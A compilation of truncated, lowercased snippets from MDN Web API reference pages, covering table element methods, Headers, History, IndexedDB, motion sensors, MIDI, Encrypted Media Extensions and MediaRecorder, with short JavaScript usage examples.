new <caption> element. syntax htmltableelement = table.createcaption(); return value htmltablecaptionelement example this example uses javascript to add a caption to a table that initially lacks one. html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </table> javascript let table = docu...
HTMLTableElement.createTFoot() - Web APIs
the htmltableelement.createtfoot() method returns the <tfoot> element associated with a given <table>. if no footer exists in the table, this methods creates it, and then returns it. note: if no footer exists, createtfoot() inserts a
new footer directly into the table. the footer does not need to be added separately as would be the case if document.createelement() had been used to create the
new <tfoot> element. syntax htmltablesectionelement = table.createtfoot(); return value htmltablesectionelement example let myfoot = mytable.createtfoot(); // now this should be true: myfoot == mytable.tfoot specifications specification status comment html living standardthe definition of 'htmltableelement: createtfoot' in that specification. living standard ...
HTMLTableElement.createTHead() - Web APIs
the htmltableelement.createthead() method returns the <thead> element associated with a given <table>. if no header exists in the table, this method creates it, and then returns it. note: if no header exists, createthead() inserts a
new header directly into the table. the header does not need to be added separately as would be the case if document.createelement() had been used to create the
new <thead> element. syntax htmltablesectionelement = table.createthead(); return value htmltablesectionelement example let myhead = mytable.createthead(); // now this should be true: myhead == mytable.thead specifications specification status comment html living standardthe definition of 'htmltableelement: createthead' in that specification. living standard ...
HTMLTableRowElement - Web APIs
e", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablerowelement.deletecell() removes the cell at the given position in the row. if the given position is greater (or equal as it starts at zero) than the amount of cells in the row, or is smaller than 0, it raises a domexception with the indexsizeerror value. htmltablerowelement.insertcell() inserts a
new cell just before the given position in the row. if the given position is not given or is -1, it appends the cell to the row. if the given position is greater (or equal as it starts at zero) than the amount of cells in the row, or is smaller than -1, it raises a domexception with the indexsizeerror value. returns a reference to a htmltablecellelement [en-us]. specifications specificati...
HTMLTableSectionElement - Web APIs
or "baseline". methods inherits methods from its parent, htmlelement. htmltablesectionelement.deleterow() removes the cell at the given position in the section. if the given position is greater (or equal as it starts at zero) than the amount of rows in the section, or is smaller than 0, it raises a domexception with the indexsizeerror value. htmltablesectionelement.insertrow() inserts a
new row just before the given position in the section. if the given position is not given or is -1, it appends the row to the end of section. if the given position is greater (or equal as it starts at zero) than the amount of rows in the section, or is smaller than -1, it raises a domexception with the indexsizeerror value. specifications specification status comment html l...
Dragging and Dropping Multiple Items - Web APIs
// [item1] data=url1, index=0 // [item2] data=url3, index=1 fortunately, you don't normally need to clear items often; it's more common to just add the items only when you know they are needed. common cases where dragging multiple items is used is when dragging multiple files or bookmarks. in this case, add the appropriate formats for each item. although ...
Recommended Drag Types - Web APIs
ew of this advanced case: // currentevent is an existing drag operation event currentevent.datatransfer.setdata("text/x-moz-url", url); currentevent.datatransfer.setdata("application/x-moz-file-promise-url", url); currentevent.datatransfer.setdata("application/x-moz-file-promise-dest-filename", leafname); currentevent.datatransfer.mozsetdataat('application/x-moz-file-promise',
new dataprovider(success,error), 0, components.interfaces.nsisupports); function dataprovider(){} dataprovider.prototype = { queryinterface : function(iid) { if (iid.equals(components.interfaces.nsiflavordataprovider) || iid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, getflavordata : func...
HTML Drag and Drop API - Web APIs
ears beside the pointer during a drag operation. however, an application may define a custom image with the setdragimage() method, as shown in the following example. function dragstart_handler(ev) { // create an image and then use it for the drag image. // note: change "example.gif" to a real image url or the image // will not be created and the default drag image will be used. let img =
new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } learn more about drag feedback images in: setting the drag feedback image define the drag effect the dropeffect property is used to control the feedback the user is given during a drag-and-drop operation. it typically affects which cursor the browser displays while dragging. for example, when the user hover...
Headers.delete() - Web APIs
guard is immutable. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.delete(name); parameters name the name of the http header you want to delete from the headers object. returns void. ...
Headers.entries() - Web APIs
the headers.entries() method returns an iterator allowing to go through all key/value pairs contained in this object. the both the key and value of each pairs are bytestring objects. note: this method is available in web workers. ...
Headers.get() - Web APIs
s name the name of the http header whose values you want to retrieve from the headers object. if the given name is not the name of an http header, this method throws a typeerror. the name is case-insensitive. returns a bytestring sequence representing the values of the retrieved header or null if this header is not set. ...
Headers.has() - Web APIs
nly be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.has(name); parameters name the name of the http header you want to test for. if the given name is not a valid http header name, this method throws a typeerror. returns a boolean. ...
Headers.keys() - Web APIs
the headers.keys() method returns an iterator allowing to go through all keys contained in this object. the keys are bytestring objects. note: this method is available in web workers. ...
Headers.values() - Web APIs
the headers.values() method returns an iterator allowing to go through all values contained in this object. the values are bytestring objects. note: this method is available in web workers. ...
History.length - Web APIs
the history.length read-only property returns an integer representing the number of elements in the session history, including the currently loaded page. for example, for a page loaded in a
new tab this property returns 1. syntax const length = history.length specifications specification status comment html living standardthe definition of 'history.length' in that specification. living standard no change from html5. html5the definition of 'history.length' in that specification. recommendation initial definition. ...
History.replaceState() - Web APIs
bject which is associated with the history entry passed to the replacestate method. the state object can be null. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state. url optional the url of the history entry. the
new url must be of the same origin as the current url; otherwise replacestate throws an exception. examples suppose https://www.mozilla.org/foo.html executes the following javascript: const stateobj = { foo: 'bar' }; history.pushstate(stateobj, '', 'bar.html'); the explanation of these two lines above can be found in the example of pushstate() method section of the working with the history api a...
History - Web APIs
the history interface allows manipulation of the browser session history, that is the pages visited in the tab or frame that the current page is loaded in. properties the history interface doesn't inherit any property. length read only returns an integer representing the number of elements in the session history, including the currently loaded page. for example, for a page loaded in a
new tab this property returns 1. scrollrestoration allows web applications to explicitly set default scroll restoration behavior on history navigation. this property can be either auto or manual. state read only returns an any value representing the state at the top of the history stack. this is a way to look at the state without having to wait for a popstate event. methods the history interface ...
IDBCursor.continuePrimaryKey() - Web APIs
the continueprimarykey() method of the idbcursor interface advances the cursor to the to the item whose key matches the key parameter as well as whose primary key matches the primary key parameter. a typical use case, is to resume the iteration where a previous cursor has been closed, without having to compare the keys one by one. calling this method more than once before
new cursor data has been loaded - for example, calling continueprimarykey() twice from the same onsuccess handler - results in an invalidstateerror being thrown on the second call because the cursor’s got value flag has been unset. this method is only valid for cursors coming from an index. using it for cursors coming from an object store will throw an error. note: this feature is available in web workers. syntax cu...
IDBDatabase.close() - Web APIs
methods that create transactions throw an exception if a closing operation is pending. note: this feature is available in web workers. ...
IDBDatabase.onabort - Web APIs
the onabort event handler of the idbdatabase interface handles the abort event, fired when a transaction is aborted and bubbles up to the connection object. note: this feature is available in web workers. syntax idbdatabase.onabort = function(event) { ... }; example this example shows an idbopendbrequest.onupgradeneeded block that creates a
new object store; it also includes onerror and onabort functions to handle non-success cases. dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("to...
IDBDatabase.onerror - Web APIs
he error event, fired when a request returns an error and bubbles up to the connection object. note: consider using idbopendbrequest.onsuccess instead (see idbrequest.onsuccess, where it is inherited from). note: this feature is available in web workers. syntax idbdatabase.onerror = function(event) { ... } example this example shows an idbopendbrequest.onupgradeneeded block that creates a
new object store; it also includes onerror and onabort functions to handle non-success cases. dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this d...
IDBDatabase.onversionchange - Web APIs
eeded event or idbfactory.deletedatabase) was requested elsewhere (most probably in another window/tab on the same computer). this is different from the versionchange transaction (but it is related). note: this feature is available in web workers. syntax idbdatabase.onversionchange = function(event) { ... } example this example shows an idbopendbrequest.onupgradeneeded block that creates a
new object store; it also includes onerror and onabort functions to handle non-success cases, and an onversionchange function to notify when a database structure change has occurred. request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.inn...
IDBDatabase.transaction() - Web APIs
method, which you can use to access your object store. note: this feature is available in web workers. syntax idbdatabase.transaction(storenames); idbdatabase.transaction(storenames, mode); parameters "durability" -- the durability constrints for the transction. valid values are: "default", "strict", and "relaxed". storenames the names of object stores that are in the scope of the
new transaction, declared as an array of strings. specify only the object stores that you need to access. if you need to access only one object store, you can specify its name as a string. therefore the following lines are equivalent: var transaction = db.transaction(['my-store-name']); var transaction = db.transaction('my-store-name'); if you need to access all object stores in the database, ...
IDBFactory.open() - Web APIs
the open() method of the idbfactory interface requests opening a connection to a database. the method returns an idbopendbrequest object immediately, and performs the open operation asynchronously. if the operation is successful, a success event is fired on the request object that is returned from this method, with its result attribute set to the
new idbdatabase object for the connection. if an error occurs while the database connection is being opened, then an error event is fired on the request object returned from this method. may trigger upgradeneeded, blocked or versionchange events. note: this feature is available in web workers. syntax for the current standard: var idbopendbrequest = indexeddb.open(name); var idbopendbrequest = indexeddb.open(name, version); para...
IDBIndex.openCursor() - Web APIs
eates a cursor over the specified key range. the method sets the position of the cursor to the appropriate record, based on the specified direction. if the key range is not specified or is null, then the range includes all the records. a success event is always fired on the result object. if at least one record matches the key range, then the result property of the event is set to the
new idbcursorwithvalue object; the value of the cursor object is set to a structured clone of the referenced value. if no records match the key range then then the result property of the event is set to null. note: this feature is available in web workers. syntax var request = myindex.opencursor(); var request = myindex.opencursor(range); var request = myindex.opencursor(range, direction)...
IDBIndex.openKeyCursor() - Web APIs
r the specified key range, as arranged by this index. the method sets the position of the cursor to the appropriate key, based on the specified direction. if the key range is not specified or is null, then the range includes all the keys. a success event is always fired on the result object. if at least one key matches the key range, then the result property of the event is set to the
new idbcursor object; the key property of the cursor object is set to the found key and the primarykey property is set to the the corresponding primary key of the found record. if no keys match the key range, then then the result property of the event is set to null. note: cursors returned by openkeycursor() do not make the referenced value available as idbindex.opencursor does. this make...
IDBKeyRange.lowerBound() - Web APIs
the lowerbound() method of the idbkeyrange interface creates a
new key range with only a lower bound. by default, it includes the lower endpoint value and is closed. note: this feature is available in web workers. syntax var myidbkeyrange = idbkeyrange.lowerbound(lower); var myidbkeyrange = idbkeyrange.lowerbound(lower, open); parameters lower specifies the lower bound of the
new key range. open optional indicates whether the lower bound excludes the endpoint value. the default is false. return value idbkeyrange: the
newly created key range. exceptions this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key. example the following example...
IDBKeyRange.only() - Web APIs
exceptions this method may raise a domexception of the following types: exception description dataerror the value parameter passed was not a valid key. example the following example illustrates how you'd use an only key range. here we declare a keyrangevalue = idbkeyrange.only("a"); — a range that only includes the value "a". ...
IDBKeyRange - Web APIs
perties idbkeyrange.lower read only lower bound of the key range. idbkeyrange.upper read only upper bound of the key range. idbkeyrange.loweropen read only returns false if the lower-bound value is included in the key range. idbkeyrange.upperopen read only returns false if the upper-bound value is included in the key range. methods static methods idbkeyrange.bound() creates a
new key range with upper and lower bounds. idbkeyrange.only() creates a
new key range containing a single value. idbkeyrange.lowerbound() creates a
new key range with only a lower bound. idbkeyrange.upperbound() creates a
new upper-bound key range. instance methods idbkeyrange.includes() returns a boolean indicating whether a specified key is inside the key range. examples the followin...
KeyboardLayoutMap - Web APIs
found in the ui events keyboardevent code values specification. properties keyboardlayoutmap.entries read only returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well). keyboardlayoutmap.keys read only returns a
new array iterator object that contains the keys for each index in the array. keyboardlayoutmap.size read only returns the number of elements in the keyboardlayoutmap object. keyboardlayoutmap.values read only returns a
new array iterator object that contains the values for each index in the keyboardlayoutmap object. methods keyboardlayoutmap.foreach() read only executes a provided...
KeyframeEffectOptions - Web APIs
o replace. add dictates an additive effect, where each successive iteration builds on the last. for instance with transform, a translatex(-200px) would not override an earlier rotate(20deg) value but result in translatex(-200px) rotate(20deg). accumulate is similar but a little smarter: blur(2) and blur(5) become blur(7), not blur(2) blur(5). replace overwrites the previous value with the
new one. iterationcomposite optional determines how values build from iteration to iteration in this animation. can be set to accumulate or replace (see above). defaults to replace. pseudoelement optional the selector of the pseudo-element to be targeted, if any. defaults to null. delay optional the number of milliseconds to delay the start of the animation. defaults to 0. direction ...
LargestContentfulPaint - Web APIs
listens for largest-contentful-paint entries and logs the lcp value to the console. this example also demonstrates how to include buffered entries (those that ocurred before observer() was called), which is done by setting the buffered option to true. note that in this example data is only sent to the server when the user leaves the tab. // catch errors since some browsers throw when using the
new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { let lcp; const po =
new performanceobserver((entrylist) => { const entries = entrylist.getentries(); const lastentry = entries[entries.length - 1]; // update `lcp` to the latest value, using `rendertime` if it's available, // otherwise using `loadtime`. (note: `rendertime` may not be available on // i...
LayoutShift - Web APIs
of layoutshiftattribution objects with information on the elements that were shifted. methods layoutshift.tojson() converts the properties to json. examples the following example shows how to capture layout shifts and log them to the console. note that in this example data is only sent to the server when the user leaves the tab. // catch errors since some browsers throw when using the
new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { let cumulativelayoutshiftscore = 0; const observer =
new performanceobserver((list) => { for (const entry of list.getentries()) { // only count layout shifts without recent user input. if (!entry.hadrecentinput) { cumulativelayoutshiftscore += entry.value; } } }); observer.observe({type: 'layout...
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
the linearaccelerationsensor constructor creates a
new linearaccelerationsensor object which provides on each reading the acceleration applied to the device along all three axes, but without the contribution of gravity. if a feature policy blocks use of a feature, it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var linearaccelerationsensor =
new linearaccelerationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for ...
LinearAccelerationSensor.x - Web APIs
istent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var xlinearaccelerationsensor = linearaccelerationsensor.x value a number. example linear acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
LinearAccelerationSensor.y - Web APIs
use your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var yacceleration = accelerometer.y value a number. example linear acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
LinearAccelerationSensor.z - Web APIs
use your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var zacceleration = accelerometer.z value a number. example linear acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
LocalFileSystem - Web APIs
the argument of a successful callback is the filesystem object, which has two properties: the name and root of the file system. ...
LocalFileSystemSync - Web APIs
is more or less abandonned, failing to get significant traction. basic concepts you can request access to a sandboxed file system by requesting localfilesystemsync object from within a web worker. the global methods in the window object requestfilesystemsync() and resolvelocalfilesystemsyncurl() methods are exposed to the worker's global scope. calling window.requestfilesystemsync() for creates
new storage for your web app. for more concepts, see the counterpart article for the asynchronous api. example //taking care of the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the s...
Location: search - Web APIs
chparams to make it easy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params =
new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification. living standard initial definition. ...
Location - Web APIs
ation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a static domstringlist containing, in reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object. location.href is a stringifier that returns a usvstring containing the entire url. if changed, the associated document navigates to the
new page. it can be set from a different origin than the associated document. location.protocol is a usvstring containing the protocol scheme of the url, including the final ':'. location.host is a usvstring containing the host, that is the hostname, a ':', and the port of the url. location.hostname is a usvstring containing the domain of the url. location.port is a usvstring containing the p...
LockManager.request() - Web APIs
navigator.locks.request('my_resource', {ifavailable: true}, async lock => { if (!lock) { // the lock was not granted - get out fast. return; } // the lock was granted, and no other running code in this origin is holding // the 'my_res_lock' lock until this returns. }); signal example to only wait for a lock for a short period of time, use the signal option. const controller =
new abortcontroller(); // wait at most 200ms. settimeout(() => controller.abort(), 200); try { await navigator.locks.request('my_resource', {signal: controller.signal}, async lock => { // the lock was acquired! }); } catch (ex) { if (ex.name === 'aborterror') { // the request aborted before it could be granted. } } specifications specification status comment ...
LockManager - Web APIs
to get an instance of lockmanager, call navigator.locks. methods lockmanager.request() requests a lock object with parameters specifying its name and characteristics. lockmanager.query() returns a promise that resolves with a lockmanagersnapshot which contains information about held and pending locks. ...
Long Tasks API - Web APIs
"culprit browsing context container", or "the container" for short, is the top level page, iframe, embed or object that the task occurred within. attributions a list of containers that the task occurred within. for tasks that don't occur within the top level page, the containerid, containername and containersrc fields may provide information as to the source of the task. usage var observer =
new performanceobserver(function(list) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { // process long task notifications: // report back for analytics and monitoring // ... } }); // register observer for long task notifications observer.observe({entrytypes: ["longtask"]}); // long script execution after this will result in que...
MIDIAccess - Web APIs
map which provides access to any available midi input ports. midiaccess.outputs read only returns an instance of midioutputmap which provides access to any available midi output ports. midiaccess.sysexenabled read only a boolean attribute indicating whether system exclusive support is enabled on the current midiaccess instance. event handlers midiaccess.onstatechange called whenever a
new midi port is added or an existing port changes state. examples navigator.requestmidiaccess() .then(function(access) { // get lists of available midi controllers const inputs = access.inputs.values(); const outputs = access.outputs.values(); access.onstatechange = function(e) { // print information about the (dis)connected midi controller console.log(e.por...
MIDIConnectionEvent - Web APIs
the midiconnectionevent interface of the web midi api is the event passed to the onstatechange event handler of the midiaccess interface and the onstatechange event of the midiports interface. this occurs any time a
new port becomes available, or when a previously available port becomes unavailable. for example, this event is fired whenever a midi device is either plugged in to or unplugged from a computer. constructor midiconnectionevent.midiconnectionevent creates a
new midiconnectionevent object. properties midiconnectionevent.port returns a reference to a midiport instance for a port that has been connected or disconnected." examples specifications specification status comment web midi api working draft initial definition. ...
MIDIMessageEvent - Web APIs
the midimessageevent interface of the web midi api represents the event passed to the onmidimessage event handler of the midiinput interface. a midimessage event is fired every time a midi message is sent from a device represented by a midiinput, for example when a midi keyboard key is pressed, a knob is tweaked, or a slider is moved. constructor midimessageevent.midimessageevent creates a
new midimessageevent object instance. properties midiconnectionevent.data a uint8array containing the data bytes of a single midi message. see the midi specification for more information on its form. note: even though the web midi api specifies a receivedtime property that returns a domhighrestimestamp, chrome (the only implementation at the time of writing) does not support that property si...
MSCandidateWindowHide - Web APIs
ture. mscandidatewindowhide fires after the input method editor (ime) candidate window closes and is fully hidden. this proprietary method is specific to internet explorer. general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event. on internet explorer in the
new windows ui, this event is supported in windows 8.1 imes of all languages. syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mscandidatewindowhide", handler, usecapture) nbsp; parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. the handler of this ...
MSCandidateWindowShow - Web APIs
windowshow fires immediately after the input method editor (ime) candidate window is set to appear, but before it renders. this proprietary method is specific to internet explorer. general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event. on internet explorer in the
new windows ui, this event is supported in windows 8.1 imes of all languages. syntax event property object.oncandidatewindowshow = handler; addeventlistener method object.addeventlistener("mscandidatewindowshow", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. this event fires after th...
Magnetometer.x - Web APIs
ecause your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var magnetometerx = magnetometer.x value a number. example the magnetometer is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
Magnetometer.y - Web APIs
ecause your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var magnetometery = magnetometer.x value a number. example the magnetometer is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
Magnetometer.z - Web APIs
ecause your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var magnetometerz = magnetometer.z value a number. example the magnetometer is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
MediaDevices.getSupportedConstraints() - Web APIs
the getsupportedconstraints() method of the mediadevices interface returns an object based on the mediatracksupportedconstraints dictionary, whose member fields each specify one of the constrainable properties the user agent understands. syntax var supportedconstraints = navigator.mediadevices.getsupportedconstraints(); parameters none. return value a
new object based on the mediatracksupportedconstraints dictionary listing the constraints supported by the user agent. because only constraints supported by the user agent are included in the list, each of these boolean properties has the value true. example this example outputs a list of the constraints supported by your browser. html <p>the following media constraints are supported by your browser:</p> <ul id="constraintlist"> </u...
MediaDevices.ondevicechange - Web APIs
vices property, as well as the code that's run when the promise returned by enumeratedevices() is fulfilled. the fulfillment handler is called when the device list is ready. the list is passed into the fulfillment handler as an array of mediadeviceinfo objects, each describing one media input or output device. a foreach() loop is used to scan through all the devices. for each device, we create a
new <li> object to be used to display it to the user. the line let [kind, type, direction] = device.kind.match(/(\w+)(input|output)/i); deserves special notice. this uses destructuring assignment (a
new feature of ecmascript 6) to assign the values of the first three items in the array returned by string.match() to the variables kind, type, and direction. we do this because the value of mediadevicei...
MediaElementAudioSourceNode.mediaElement - Web APIs
node is receiving audio. this stream was specified when the node was first created, either using the mediaelementaudiosourcenode() constructor or the audiocontext.createmediaelementsource() method. syntax audiosourceelement = mediaelementaudiosourcenode.mediaelement; value an htmlmediaelement representing the element which contains the source of audio for the node. examples const audioctx =
new window.audiocontext(); const audioelem = document.queryselector('audio'); let options = { mediaelement: audioelem } let source =
new mediaelementaudiosourcenode(audioctx, options); console.log(source.mediaelement); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode.mediaelement' in that specification. working dr...
MediaKeyMessageEvent() - Web APIs
options options are as follows: messagetype: a developer-defined message type that allows applications to differentiate messages without parsing them. message: an array containing the message generated by the content decryption module. browser compatibility the compatibility table on this page is generated from structured data. ...
MediaKeyMessageEvent.messageType - Web APIs
the mediakeymessageevent.messagetype read-only property indicates the type of message. it may be one of license-request, license-re
newal, license-release, or individualization-request. syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'messagetype' in that specification. recommendation initial definition ...
MediaKeyMessageEvent - Web APIs
="116" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeymessageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediakeymessageevent() creates a
new instance of mediakeymessageevent. properties inherits properties from its parent, event. mediakeymessageevent.message read only returns an arraybuffer with a message from the content decryption module. messages vary by key system. mediakeymessageevent.messagetype read only indicates the type of message. may be one of license-request, license-re
newal, license-release, or individualizati...
MediaKeyStatusMap.entries() - Web APIs
syntax // tbd parameters none. returns exceptions specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
MediaKeyStatusMap.keys() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
MediaKeyStatusMap.values() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
createMediaKeys() - Web APIs
the mediakeysystemaccess.createmediakeys() method returns a promise that resolves to a
new mediakeys object. syntax var mediakeys = await mediakeysystemaccess.createmediakeys(); specifications specification status comment encrypted media extensionsthe definition of 'createmediakeys()' in that specification. recommendation initial definition ...
MediaKeySystemAccess - Web APIs
ns api provides access to a key system for decryption and/or a content protection provider. you can request an instance of this object using the navigator.requestmediakeysystemaccess() method. properties mediakeysystemaccess.keysystem read only returns a domstring identifying the key system being used. methods mediakeysystemaccess.createmediakeys() returns a promise that resolves to a
new mediakeys object. mediakeysystemaccess.getconfiguration() returns a mediakeysystemconfiguration object with the supported combination of configuration options. specifications specification status comment encrypted media extensionsthe definition of 'mediakeysystemaccess' in that specification. recommendation initial definition. ...
createSession() - Web APIs
the mediakeys.createsession() method returns a
new mediakeysession object, which represents a context for message exchange with a content decryption module (cdm). syntax var mediakeysessionobject = mediakeys.createsession([mediakeysessiontype]); specifications specification status comment encrypted media extensionsthe definition of 'createsession()' in that specification. recommendation initial definition ...
MediaKeys - Web APIs
the mediakeys interface of encryptedmediaextensions api represents a set of keys that an associated htmlmediaelement can use for decryption of media data during playback. properties none. methods mediakeys.createsession() returns a
new mediakeysession object, which represents a context for message exchange with a content decryption module (cdm). mediakeys.setservercertificate() returns a promise to a server certificate to be used to encrypt messages to the license server. examples //tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeys' in that specification. recommendation initial definition. ...
MediaList - Web APIs
nterface represents the media queries of a stylesheet, e.g. those set using a <link> element's media attribute. note: medialist is a live list; updating the list using properties or methods listed below will immediately update the behavior of the document. properties medialist.mediatext a stringifier that returns a domstring representing the medialist as text, and also allows you to set a
new medialist. medialist.length read only returns the number of media queries in the medialist. methods medialist.appendmedium() adds a media query to the medialist. medialist.deletemedium() removes a media query from the medialist. medialist.item() a getter that returns a cssomstring representing a media query as text, given the media query's index value inside the medialist. examples...
MediaMetadata - Web APIs
properties mediametadata.title returns or sets the title of the media to be played. mediametadata.artist returns or sets the name of the artist, group, creator, etc. of the media to be played. mediametadata.album returns or sets the name of the album or collection containing the media to be played. ...
MediaQueryList.removeListener() - Web APIs
for eventtarget.removeeventlistener(), for backwards compatibility purposes — in older browsers you could use removeeventlistener() instead. syntax mediaquerylist.removelistener(func) parameters func a function or function reference representing the callback function you want to remove. in the original implementation, the callback was a non-standard mediaquerylistlistener object. in the
new implementation the standard event mechanism is used, and the callback is a standard function. return value void. examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; ...
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
the mediaquerylistevent constructor creates a
new mediaquerylistevent instance. syntax var mymqlevent =
new mediaquerylistevent(init); parameters init an init object that defines features of the
new object instance. the available properties are: media: a domstring representing a serialized media query. matches: a boolean representing the media query status — true if it matches, false if not. examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent =
new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent()' in that specification. working draft initial definition ...
MediaRecorder.mimeType - Web APIs
s. example ... if (navigator.mediadevices) { console.log('getusermedia supported.'); var constraints = { audio: true, video: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var options = { audiobitspersecond: 128000, videobitspersecond: 2500000, mimetype: 'video/mp4' } var mediarecorder =
new mediarecorder(stream,options); m = mediarecorder; m.mimetype; // would return 'video/mp4' ... }) .catch(function(error) { console.log(error.message); }); changing line 14 to the following causes mediarecorder to try to use avc constrained baseline profile level 4 for video and aac-lc (low complexity) for audio, which is good for mobile and other possible res...
MediaRecorder.onstop - Web APIs
up to that point available for you to use in your application. syntax mediarecorder.onstop = function(event) { ... } mediarecorder.addeventlistener('stop', function(event) { ... }) example ... mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob =
new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstop' in that spe...
MediaRecorder.stream - Web APIs
alues the mediastream passed into the mediarecorder() constructor when the mediarecorder was originally created. example if (navigator.getusermedia) { console.log('getusermedia supported.'); navigator.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { var mediarecorder =
new mediarecorder(stream); var mystream = mediarecorder.stream; console.log(mystream); ... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.stream' in that specification. working draft initial definition ...
MediaRecorderErrorEvent.error - Web APIs
vice. this also happens when a mediastreamtrack within the stream is marked as isolated due to the peeridentity constraint on the source stream. example this function creates and returns a mediarecorder for a given mediastream, configured to buffer data into an array and to watch for errors. ...
MediaRecorderErrorEvent - Web APIs
presents errors returned by the mediastream recording api. it is an event object that encapsulates a reference to a domexception describing the error that occurred. properties inherits properties from its parent interface, event. error read only a domexception containing information about the error that occurred. read only. constructor mediastreamrecorderevent() creates and returns a
new mediarecordererrorevent event object with the given parameters. methods inherits methods from its parent interface, event. specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent' in that specification. working draft initial definition. ...
MediaSettingsRange - Web APIs
to resolution sample, uses the results from getphotocapabilities().imagewidth to modify the size of an input range. ...
MediaSource.duration - Web APIs
